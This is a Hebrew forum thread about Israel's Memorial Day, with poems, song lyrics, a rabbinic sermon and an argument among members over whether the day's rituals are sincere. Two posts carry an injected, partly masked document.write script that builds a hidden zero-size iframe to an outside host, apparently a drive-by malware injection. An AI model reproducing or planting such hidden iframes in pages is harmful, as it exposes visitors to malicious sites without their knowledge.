| נשלח ב-2/5/2006 01:13 |
|
| |
דמעות [ליום הזיכרון]
לאט על החוף היא פוסעת בלילה, רק היא לבדה מול הים
הדמעות על לחיה הן טיפות הגלים, כה רמים הגלים בבכים בוכה היא על נער שכה אהבה, עזבה לבדה בעולם *:namespace prefix = o />
אין לה שום נוחם, גם לא בגלים שמולה מרימים את קולם
מאז ילדותם המוקדמת הם יחד, כל פרט מחייו היא זוכרת ותמונה לתמונה מצטרפות הן ליחד, ממלאות את ראשה כמו סרט הם ביחד בגן, בכיתה, בחצר, יחד גדולים ויחד קטנים יחד פסעו כל החיים, יחד בגרו בשנים
יחד יצאו בליל קיץ בהיר, לצפות במיליארד כוכבים
יחד מצאו את מזל בתולה, כוכביה דולקים וכבים ויום הגיע, והנער בגר, הפך לבחור, אהובה אז לבה לא נתן לה ללכת עמו, בת לויה למחנה הצבא אך את כל הקשיים חוותה היא עמו, קושי גדול או קטון שכבה בלילה בבוץ, סחבה אלונקה, ירתה בחייל מקרטון
הוא בבסיס, והיא בביתה, קוראת מכתביו שוב ושוב ובלילה חולמת רק על הנער, אח, שרק הביתה ישוב
הזמן עובר אט, והוא לא מגיע – 'יש מה לעשות' – הוא אומר 'האוייב מאיים, ואין מי שיוכל לו, אני עליכם שם שומר'
ושוב בא הלילה, ושוב היא חולמת, הנה הוא בדלת דופק אליו היא תרוץ, גופו תחבק, בכוח עליו תתרפק
והנה מקיצה היא, כבר אין היא חולמת, עיניה פקוחות – היא ערה אבל הדפיקות על דלת ביתה ממשיכות, וכל נקישה היא בשורה
לא יכלה עוד לשאת קולות נהי ובכי, אמו ואביו ואחיו יצאה לשוטט על החוף לבדה, המקום שתמיד כה אהב
בליל גיוסו ישבו כאן ביחד, הקשיבו לקול הגלים לפרידה אז נתנה לו קונכיה ממורטת, בוהקת בשלל פיתולים 'בכל מקום בו תהיה, כך אומרים, אם תשים על פי הצדפה את אוזניך תשמע את קולו של החוף, שבו נמצאים אהוביך ואני פה אהיה, פה אקרא בשמך, ואשוב ואקרא, בדממה ואתה במקום בו תהיה, את האוזן קרב ותשמע'
כך אמרה לו אז, וכך נזכרה בזה הלילה, ואת גרונה חונקות דמעותיה והיא עמדה במקום בו נפרדו, ואת שמו לחשה, ואין יודע השמע קולה אהובה
אדר ב' תשס"ג
נוהל שכן זה כאן!
תוקן על ידי - השכן - 02/05/2006 1:18:59
תוקן על ידי מנהלי_משנה ב- 24/04/2012 15:16:15
תוקן על ידי מנהלי_משנה ב- 24/04/2012 15:17:52
 |
|
|
|
|
| נשלח ב-26/4/2012 22:04 |
|
| |
לפני שלושים שנה עם ברכת המתים על הר' אוירבך?
|
|
|
|
| נשלח ב-25/4/2012 17:49 |
|
| |
" אמרו בגמרא (בבא בתרא י:), הרוגי "לוד", אין כל בריה יכולה לעמוד במחיצתם. ופירוש הרוגי לוד, הם האחים פפוס ולוליינוס, במעשה שהיה, שבתו (הבת של) של המלך נמצאה הרוגה, וחשדו הגויים שמישהו מישראל הרג אותה, וגזרו גזירה על כל העם, להשמיד להרוג ולאבד, ועמדו פפוס ולוליינוס, ופדו בנפשם את ישראל, שאמרו, אנחנו הרגנוה, והמלך הרג אותם לבדם, ונשארו כל ישראל לפליטה. ועליהם אמרו רבותיו, כי אין כל בריה יכולה לעמוד במחיצתם, לרוב גודל השכר שיש להם לעולם הבא.
אין ספק שדברים אלה כוחם יפה גם לגבי חללי צה"ל הקבורים בארץ ישראל, אשר חרפו נפשם במערכות ישראל על גאולתינו ועל פדות נפשינו, מנשרים קלו מאריות גברו, תהי נשמתם צרורה בצרור החיים.
וכבר התבטא פעם הגאון רבי שלמה זלמן אוירבך זצ"ל לאחד ממקורביו, כי עד שאנשים הולכים למרחקים לקברי הצדיקים, עליהם לדעת כי גם כאן בהר הסמוך (כוונתו היתה להר הרצל, הסמוך לבית וגן) יש כמה קברים של נשמות קדושות.
עמנו למוד סבל ורווי דמעות, על נהרי נחלי דמי אחינו שנשפך כמים, לא שלותי ולא שקטתי ולא נחתי ויבא רוגז, ומאז חורבן בית קדשינו ותפארתינו, וגלות ישראל מעל אדמתו, נשפך דם ישראל כמים, אמרו לכו ונכחידם מגוי ולא יזכר שם ישראל עוד. ובת קול ממררת בבכי שלוש פעמים ביום ואומרת, "אוי לי שהחרבתי את ביתי ושרפתי את היכלי והגלתי את בני לבין אומות העולם". תמיד היינו מטרה לשנאת הגויים, שנאת עולם לעם עולם, שבכל דור ודור עומדים עלינו לכלותינו, כמה מאות קהלות נרצחו באכזריות במסעי הצלב והאינקויזיציה, והאחרון הכביד, בשואה האחרונה אשר נהרגו כששה מליון יהודים ובתוכם גדולי ישראל צדיקים יסודי עולם, ועד עתה, בפרעות שעושים כנגדינו שכינינו הערבים הפלשטינאים, הפוגעים לא אחת בחיילינו. וכבר אמרו במסכת ראש השנה (כג.), אוי להם לאומות העולם שאין להם תקנה.
ואמרו חז"ל (ילקוט שמעוני פרשת מטות), שכל אותם שנרצחו ביד אומות העולם הרשעים, הקדוש ברוך הוא טובל דמם על בגד שלובש עד שנעשה צבעו רווי דם, וכשיגיע יום הדין, אל קנא ונוקם מתעטף באותו הבגד, ורואה את כל גופות הנרצחים ביד בני עוולה, והיה צדק אזור מתניו, לעשות נקמה בגויים תוכחות בלאומים, לאסור מלכיהם בזיקים ונכבדיהם בכבלי ברזל, וכמו שנאמר "ידין בגויים מלא גויות".
יום הזכרון צריך לשמש לנו לא רק כיום אבל על אבדן חללינו, שקשה סילוקם של בחורים כחורבן בית המקדש, אלא גם יום חשבון נפש, עלינו להתאמץ לחזור למסורת אבותינו, לשוב לתורה ולמעשים טובים, ולחנך את בנינו לתורה, וכמאמר הכתוב, שובו אלי ואשובה אליכם. והרי כמה וכמה מהאובדים על קדושת ה' לא נהרגו ולא נרצחו אלא בכדי שימשיך עמינו להתקיים בתורתו, וכמה וכמה נהרגו ממש על קדושת ה', שלא רצו להמיר דתם, ואם כן בודאי שבמותם ציוו לנו החיים, חיי התורה, וכמאמרו של רבינו סעדיה גאון, כי אין אומתינו אומה אלא בתורתה.
זכותם של חללי צה"ל מגיני ארץ קדשינו יחד עם כל קדושי עם ישראל תעמוד לעד להגן אלף המגן על משפחותיהם, ויעמדו בתפילה לפני כסא כבודו על כל עם ישראל לבל נוסיף לדאבה עוד, וכמו שנאמר, לא יבא עוד שמשך וירחך לא יאסף כי ה' יהיה לך לאור עולם ושלמו ימי אבלך, ויקויים בנו מקרא שכתוב, ושמתי מקום לעמי לישראל, ונטעתיו ושכן תחתיו, ולא יוסיפו בני עולה לענותו כאשר בראשונה. וקראת ישועה חומותינו ושערנו תהלה, ותחזינה עינינו בבנין בית מקדשינו אהל בל יצען, בל יסע יתדותיו לנצח, וכל חבליו בל ינתקו, וכבר נאמר, כי יום נקם בלבי ושנת גאולי באה, מי יתן מציון ישועת ישראל בשוב ה' שבות עמו יגל יעקב ישמח ישראל. ואת רוח הטומאה יעביר מן הארץ ובא לציון גואל במהרה בימינו. אמן."
(דברים שאמר הרב עובדיה יוסף לפני 30 שנה)
 |
|
|
|
|
| נשלח ב-25/4/2012 17:38 |
|
| |
.
כשנתיים אחרי מלחמת יום הכיפורים, הוציאה אהובה עוזרי מכרם התימנים תקליט, שהוכתר בשם השיר המוביל - "היכן החייל שלי".
עוזרי, שהיתה בעלת וותק כמקוננת בכרם התימנים מילדות, כתבה את השיר בהשפעת שכנתה, שבנה הוכרז כנעדר במלחמה.
כל מי שמכיר את המוסיקה התימנית, יזהה שמדובר בשיר קינה, והמלים בהתאם. ניתן לשמוע את השיר כאן:
http://www.youtube.com/watch?v=Itta6IJg4rs
יכן החייל
אהובה עוזרי
מילים ולחן: אהובה עוזרי
קיים ביצוע נוסף לשיר זה
היכן החייל שלי?
היכן החייל שלי?
מתי ארוץ לקראתו?
מתי אחוש את ידו?
היכן החייל שלי?
מכתבים הוא לא שלח
ד"ש בכלל הוא לא מסר
אנא עזרו, עזרו לי ידידי
מכתבים הוא לא שלח
ד"ש בכלל הוא לא מסר
אנא עזרו, עזרו לי ידידי
היכן החייל שלי...
למה כולם שותקים?
למה לא מדברים?
האם איננו, איננו בחיים?
למה כולם שותקים?
למה לא מדברים?
האם איננו, איננו בחיים?
היכן החייל שלי...
אתפלל למענך
אדליק נר לנשמתך
אך היכן נמצא קברך?
אתפלל למענך
אדליק נר לנשמתך
אך היכן נמצא קברך?
היכן החייל שלי...
אדמה את דמותך
מתי אשמע את קולך?
לי נדמה שאתה נמצא כאן
אדמה את דמותך
מתי אשמע את קולך?
לי נדמה שאתה נמצא כאן
היכן החייל שלי...
אתפלל לאלוהים
שיחזיר לי שוב אותך
לי נדמה שאלוהים
לא רוצה שתחזור
לי נדמה שאלוהים
לא רוצה שתחזור
היכן החייל שלי...
 |
|
|
|
|
| נשלח ב-12/5/2011 12:06 |
|
| |
הרב מימוני הבנתי כי אין איסור רק על המחלוקת- באתי לתקון את אשר עוות. ומה טוב יותר מפרק נ"ך לענין
שמואל ב פרק א
(יז) וַיְקֹנֵן דָּוִד אֶת הַקִּינָה הַזֹּאת עַל שָׁאוּל וְעַל יְהוֹנָתָן בְּנוֹ: (יח) וַיֹּאמֶר לְלַמֵּד בְּנֵי יְהוּדָה קָשֶׁת הִנֵּה כְתוּבָה עַל סֵפֶר הַיָּשָׁר: (יט) הַצְּבִי יִשְׂרָאֵל עַל בָּמוֹתֶיךָ חָלָל אֵיךְ נָפְלוּ גִבּוֹרִים: (כ) אַל תַּגִּידוּ בְגַת אַל תְּבַשְּׂרוּ בְּחוּצֹת אַשְׁקְלוֹן פֶּן תִּשְׂמַחְנָה בְּנוֹת פְּלִשְׁתִּים פֶּן תַּעֲלֹזְנָה בְּנוֹת הָעֲרֵלִים: (כא) הָרֵי בַגִּלְבֹּעַ אַל טַל וְאַל מָטָר עֲלֵיכֶם וּשְׂדֵי תְרוּמֹת כִּי שָׁם נִגְעַל מָגֵן גִּבּוֹרִים מָגֵן שָׁאוּל בְּלִי מָשִׁיחַ בַּשָּׁמֶן: (כב) מִדַּם חֲלָלִים מֵחֵלֶב גִּבּוֹרִים קֶשֶׁת יְהוֹנָתָן לֹא נָשׂוֹג אָחוֹר וְחֶרֶב שָׁאוּל לֹא תָשׁוּב רֵיקָם: (כג) שָׁאוּל וִיהוֹנָתָן הַנֶּאֱהָבִים וְהַנְּעִימִם בְּחַיֵּיהֶם וּבְמוֹתָם לֹא נִפְרָדוּ מִנְּשָׁרִים קַלּוּ מֵאֲרָיוֹת גָּבֵרוּ: (כד) בְּנוֹת יִשְׂרָאֵל אֶל שָׁאוּל בְּכֶינָה הַמַּלְבִּשְׁכֶם שָׁנִי עִם עֲדָנִים הַמַּעֲלֶה עֲדִי זָהָב עַל לְבוּשְׁכֶן: (כה) אֵיךְ נָפְלוּ גִבֹּרִים בְּתוֹךְ הַמִּלְחָמָה יְהוֹנָתָן עַל בָּמוֹתֶיךָ חָלָל:
 |
|
|
|
|
| נשלח ב-12/5/2011 11:36 |
|
| |
הויכוח על יום הזכרון מקלקל בעיני את האשכול הנפלא הזה.
יותר מאוחר אעתיק את כל ההודעות סביב ביקורתו של שותף לאשכול מיוחד.
נא לא לכתוב בינתים בנושא זה.
וגם אחר כך, להיזהר מביקורת אישית. אם לא יהיה לי זמן, אמחוק במקום לערוך! נא לא להטריחני (ולא לפגוע באחרים).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-12/5/2011 11:12 |
|
| |
| שותפיסוד כתב: |  | לגבי התייחסותך לצבא, אני מבין שהיא בנויה על מה שהכרת. פגשת אנשים אינטרסנטים וציניים שניצלו את התמימות של אלו שהיו מוכנים לתת הרבה ואפילו הכל, גם את חייהם, למען המדינה, למען הציונות, למען הגנה על אחיהם.
יתכן שחלקם היו תינוקות שנשבו לענין זה.
אך האם כל מי שהיה בצבא, או ב"הגנה", או ב"אצל" וה"לחי", היה ציני ומנצל? סבורני שלא.
זו כמעט שאלה של אוירה ותקופה היסטורית. היו ימים שבהם נכונות לצאת להילחם עבור עמנו היתה אידיאל. איני דוגל במלחמה. סבורני שכל מי שהביא כאן את השירים אינו דוגל במלחמה לשמה. אבל אנו, כל הכותבים ולא רק אנו, סבורים שאלו שנתנו את נפשם עשו מצוה גדולה.
עוד לא הצלחתי להבין איך אתה תמיד מסובב את הדברים לכיוונים אחרים ממה שנאמרו ולשם אתה מסתער.
האם אני דברתי על אנשים מסויימים שהיו פה או שם ?
דברתי על השיטה, על המערכת כולה.
המערכת מגייסת את הצעירים להילחם בשורותיה, והיא צריכה לעשות זאת.
המערכת משתמשת גם בפריטה על רגשות עדינים של בני אדם כדי לעורר בהם מוטיבציות וכו', ואולי גם את זה היא צריכה לעשות כי הנימוקים השכליים שלטובתה אינם חזקים במיוחד.
המערכת מארגנת "יום אבל לאומי" על הנופלים ש"זכרם לא ימוש מאיתנו" ושאר בלבולי שכל (וקמו בני משפחת שליט והטיחו בהם שלא ישתמשו במונחים מזוייפים של ערבות הדדית וכו') שכל כולו שטיפת מח מאורגנת, וזו עוולה שכל "ישר אינטלקטואלי" צריך להתקומם כנגדה.
אמשלום, מפריע לי שיכתבו שירים ומחולות בפורום ?
מפריע לי שמרכזים שירי שמאלץ ל"יום הזכרון" המזוייף והמגמתי.
|
|
בצום גדליה אתה צם או לא?
 |
|
|
|
|
| נשלח ב-12/5/2011 10:19 |
|
| |
לשותפ מה אתה רוצה מהחיים שלנו.? אתה כותב המערכת מגיסת את הצעירים והיא צריכה לעשות זאת ,,א]זו לא מערכת זו המדינה ב] תודה על ההסכמה שהיא צריכה לעשות זאת מה אתה רוצה צבא בלי יום זיכרון ולמה יום אבל לאומי כשלכל אחד כמעט יש על מי לבכות ולמה זכרם לא ימוש נחשב אצלך לבלבולי שכל?בא תראה לי עם שמתאבל כה יפה ואצילי על בניו,ולמה למצא מומים בכל מה שיפה ונכון וטוב? ומה הקשר לערבות של גלעד שליט שכל אחד מבין את נוראיותה של הדילמה החיים יפים למה לתעבם?
_________________
|
|
|
|
| נשלח ב-12/5/2011 09:46 |
|
| |
| מיימוני כתב: |  | לגבי התייחסותך לצבא, אני מבין שהיא בנויה על מה שהכרת. פגשת אנשים אינטרסנטים וציניים שניצלו את התמימות של אלו שהיו מוכנים לתת הרבה ואפילו הכל, גם את חייהם, למען המדינה, למען הציונות, למען הגנה על אחיהם.
יתכן שחלקם היו תינוקות שנשבו לענין זה.
אך האם כל מי שהיה בצבא, או ב"הגנה", או ב"אצל" וה"לחי", היה ציני ומנצל? סבורני שלא.
זו כמעט שאלה של אוירה ותקופה היסטורית. היו ימים שבהם נכונות לצאת להילחם עבור עמנו היתה אידיאל. איני דוגל במלחמה. סבורני שכל מי שהביא כאן את השירים אינו דוגל במלחמה לשמה. אבל אנו, כל הכותבים ולא רק אנו, סבורים שאלו שנתנו את נפשם עשו מצוה גדולה.
|
|
עוד לא הצלחתי להבין איך אתה תמיד מסובב את הדברים לכיוונים אחרים ממה שנאמרו ולשם אתה מסתער.
האם אני דברתי על אנשים מסויימים שהיו פה או שם ?
דברתי על השיטה, על המערכת כולה.
המערכת מגייסת את הצעירים להילחם בשורותיה, והיא צריכה לעשות זאת.
המערכת משתמשת גם בפריטה על רגשות עדינים של בני אדם כדי לעורר בהם מוטיבציות וכו', ואולי גם את זה היא צריכה לעשות כי הנימוקים השכליים שלטובתה אינם חזקים במיוחד.
המערכת מארגנת "יום אבל לאומי" על הנופלים ש"זכרם לא ימוש מאיתנו" ושאר בלבולי שכל (וקמו בני משפחת שליט והטיחו בהם שלא ישתמשו במונחים מזוייפים של ערבות הדדית וכו') שכל כולו שטיפת מח מאורגנת, וזו עוולה שכל "ישר אינטלקטואלי" צריך להתקומם כנגדה.
אמשלום, מפריע לי שיכתבו שירים ומחולות בפורום ?
מפריע לי שמרכזים שירי שמאלץ ל"יום הזכרון" המזוייף והמגמתי.
|
|
|
|
| נשלח ב-11/5/2011 14:30 |
|
| |
[תלמיד,
בתוספת לדבריו החדים של מואדיב - יש בפורום הזה לא מעט אשכולות המוקדשים ליצירות ספרותיות (שירים, סיפורים וכו', פרי מקלדתם של השותפים בפורום או כאלה שנוצרו בידי אחרים). העובדה ששותפיסוד לא ראה אותם, מעידה יותר על מגבלות עיניו מאשר על אופיו של הפורום.]
|
|
|
|
| נשלח ב-11/5/2011 12:34 |
|
| |
שייך לאשכול אחר והודבק כאן בטעות.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי עצכח ב- 11/05/2011 14:39:36
|
|
|
|
|
| נשלח ב-11/5/2011 11:08 |
|
| |
שותף. לא מסוגל להבין את כל השמאלץ הזה.
ואת זה אתה כן מסוגל להבין הזכרת מות שני בני אהרון 8 פעמים בשנה. ובפנתאון של התפילות ביום הכיפורים. בני אהרון כפי שהתורה אומרת מתו בחטאם. אבל הרוגי ארץ ישראל מתו, במלחמת מצוה לא בחטאם. ספרי הקבלה שאת כה בקי בהם אומרים שזו ציווי גדול לבכות על מיתת צדיקים, אלו שנהרגו על קידוש ה' הם הם הצדיקים. כך הגמרא.
בעניין האכזריות של הכותבים- אולי אתה צודק לפעמים- אבל טול קורה מבין עיניך- וקשוט גם את עצמך.
|
|
|
|
| נשלח ב-11/5/2011 10:16 |
|
| |
| תלמידטועה כתב: |  | אצא להגנתו של שותף
כוונתו המקורית היתה שמבלי להכנס להרבה אידיאולוגיות, שירים אינם מתאימים לפורום כזה. העובדה ש"סטיה" זו נסבלת (כמעט) רק לגבי יום הזכרון, מטעמים שהם מן הסתם אינם קשורים לאהבת השירה, הרימה לו גבה. דווקא לגיטימי.
בנוסף - מי כמוהו יכול לומר שהפורום ציני ואכזרי,הוא בעל נסיון. הוא נצלב כאן לא אחת (גם על ידי. כי בויכוח ענייני אין ""רחמים"). אז אם הפורום גם רגיש - ראה אשכול זה, אז גם לחיים בבקשה. אם לא - אז אין מקום האשכול בפורום
חושבני שזה מה שהפריע לו, ויש משהו בדבריו |
|
כמה חכם ושנון היה קארל צ'אפק!
סימולציה קצרה:
הנה הודעה שלא כתבתי, אבל הייתי יכול לכתוב, אד הומינם, כלפיך:
איזה מין הודעות הוא כותב כאן?! הרי הוא מקדיש ת כתיבתו בפורום לתקוף את הגולשים, להשפילם במחי מקלדת, ולהתנשא עליהם באמצעות יכולת התנסחות מבריקה!
ומה כאן, פתאום הוא יוא להגנתו של שותפיסוד? וכי להיכן נעלמה אכזריותו המפורסמת?! היכן אבחת החרב בה הוא ממית - מיתת חסד של ממש! את הכותבים האחרים בפורום?
הנה השלבים בהכנת הודעתי הכחולה הלזו:
1. המצאתי דמות חדשה לניק/כותב קיים.
2. הדבקתי לניק זה תכונה/תכונות. במקרה כאן - אכזריות וכו'.
3. כעת אני מתקומם על כך שבכתיבתו הנוכחית הוא חורג מהתפקיד שייעדתי לו.
ודומני כי הנמשל ברור, ואכמ"ל.
|
|
|
|
| נשלח ב-11/5/2011 08:26 |
|
| |
אצא להגנתו של שותף
כוונתו המקורית היתה שמבלי להכנס להרבה אידיאולוגיות, שירים אינם מתאימים לפורום כזה. העובדה ש"סטיה" זו נסבלת (כמעט) רק לגבי יום הזכרון, מטעמים שהם מן הסתם אינם קשורים לאהבת השירה, הרימה לו גבה. דווקא לגיטימי.
בנוסף - מי כמוהו יכול לומר שהפורום ציני ואכזרי,הוא בעל נסיון. הוא נצלב כאן לא אחת (גם על ידי. כי בויכוח ענייני אין ""רחמים"). אז אם הפורום גם רגיש - ראה אשכול זה, אז גם לחיים בבקשה. אם לא - אז אין מקום האשכול בפורום
חושבני שזה מה שהפריע לו, ויש משהו בדבריו
|
|
|
|
| נשלח ב-11/5/2011 08:02 |
|
| |
שותף סוד
תודה על דבריך.
הרשה לי בכל זאת להציע עמדה אחרת.
לגבי האכזריות של הפורום, זה נראה נושא בפני עצמו, אז פתחתי לו אשכול.
***
לגבי התייחסותך לצבא, אני מבין שהיא בנויה על מה שהכרת. פגשת אנשים אינטרסנטים וציניים שניצלו את התמימות של אלו שהיו מוכנים לתת הרבה ואפילו הכל, גם את חייהם, למען המדינה, למען הציונות, למען הגנה על אחיהם.
יתכן שחלקם היו תינוקות שנשבו לענין זה.
אך האם כל מי שהיה בצבא, או ב"הגנה", או ב"אצל" וה"לחי", היה ציני ומנצל? סבורני שלא.
זו כמעט שאלה של אוירה ותקופה היסטורית. היו ימים שבהם נכונות לצאת להילחם עבור עמנו היתה אידיאל. איני דוגל במלחמה. סבורני שכל מי שהביא כאן את השירים אינו דוגל במלחמה לשמה. אבל אנו, כל הכותבים ולא רק אנו, סבורים שאלו שנתנו את נפשם עשו מצוה גדולה.
את הגעגועים למה שכבר לא יכול להיות, את הצער שנזכרים בו מחדש, באו השירים האלו לבטא.
האם זה רע בעיניך? אני מבין שכן. לך זה מזכיר דברים אחרים. ניחא. אולי כדאי לפתוח אשכול של שירי מחאה על הניצול של יהודים תינוקות שנשבו בידי פוליטיקאים או כל נצלן אחר. הבה נותיר את האשכול הזה לאלו שעבורם יום הזכרון הוא יום הזכרון. (ואני מאד מעריך את הביקורת שלך).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-10/5/2011 04:05 |
|
| |
| מיימוני כתב: |  | האחד, מדוע כינית את הפורום עצור חושבים "ציני" ו"אכזר". יש כותבים שמרשים לעצמם ציניות, אבל האם מצאת כאן אכזריות לשמה? ואולי צריך להבין מהי אכזריות לדעתך?
הפורום הוא ציני ואכזר כי הוא נוהג לרמוס בקלות רבה ערכים יקרים לליבותיהם של יהודים תמימים הנקלעים אליו, ועוד נהנה לסובב את הרגל אחר המעיכה הסופית.
גם אתה כמנהיג דרכו של הפורום נוהג בכך, אלא שאצלך תבוא מיד סדרת בקשות סליחה ומחילה. מה לעשות שאחרי כמה פעמים מתגבשת דעה שהדבר מזוייף מתוכו. חסר דוגמאות ?
שנית, לאחר שהעדת על עצמך שהיית בצבא והיו לך חברים, גם ששילמו בחייהם, אני תמה: האם אינך חש צער על נפילתם? על האבדן? על הצער של המשפחות? געגועים למה שהיה יכול להיות?
אני חש צער על אבדן חיים והזדמנויות בכל פעם שאני נתקל בו, ואין לתפאורה המלאכותית של הצבא והרפתקאותיו שום נפק"מ בזה. כל הנסיון הנואל של המדינה לרתום את האסונות לצרכיה הוא ציני ואכזר (אני הייתי שם, מיימוני. אני יודע מה הרגיש נער בן 15 שראה את הכבוד המזוייף ואמר בלבו גם אני אמות לטובת המדינה. פרייאר תמים של עסקנים ציניים ואכזריים).
אולי זה המקום לצטט סיפור שהובא בח"ח וכמדומה גם כאן, אלא שאיני יודע למצאו. סיפרו זאת על אחד מגדולי הרבנים בישראל לאחר קום המדינה. הוא הלך לנחם אב (כמדומה משורות המזרחי) שבנו נהרג בצבא. הוא סיפר שגם הוא איבד את בנו (יחידו?), אולי בשואה. והוסיף: בנך מת למען מטרה. בנך מת למען יהודים אחרים. אני איני יכול לומר זאת על בני.
אי אפשר להביא ראיה מניחום אבלים ומרגעים של משבר. הסיפור נראה לי מפוקפק, מי שנהרג בשואה לא נהרג על קידוש השם, רק מפני שהוא יהודי ? לדעתי יש בזה קידוש השם גדול יותר מאשר מי שנהרג כשניסה להכנס לגוב האריות (בצדק או לא בצדק) ונאכל על ידיהם.
ובכלל, מיימוני, ממתי מישהו קובע משהו ? אז הוא אמר.... לא קראת את האשכול הנפלא שך רדף על אד הומינם ?
היחס ליום הזכרון נובע מן הסתם מכמה גורמים. היחס למדינת ישראל. היחס לציונות. היחס לצה"ל. ואפילו היחס לשאלת העולם הבא והגמול.
אין קשר בין דבריי ובין כל היחסים המפוארים (דום מתוח!) לדברים שהבאת. שאלת האבדון האנושי והכלל עולמי מעניינת אותי מאד, רק אינני רוצה לשמש כחומר גלם מטופש בידי נוכלים אינטרסנטיים סוחטי דמעות תנין.
ממילא ניתן לשאול: במה שונה היחס שלנו משלנו לשירים שהובאו כאן, וממה נובע ההבדל? (אני מרשה לעצמי לשאול שאלה אישית: האם ההסתכלות שבאה לידי ביטוי בדבריך משקפת יתרון או להפך? באר, נמק, הסבר).
את השאלה שבחוץ לא הבנתי (מי זה שלנו ומי זה משלנו ?).
את השאלה שבפנים צריך לשאול את מומחי האבולוציה בפורום (מקסמן ?). בכל מקרה ההסתכלות לא נובעת מחיפוש יתרון וכדאיות הישרדותית. יש גם קצת אמת מאחורי רגשותיהם של אנשים, מיימוני יקר.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
 |
|
|
|
|
|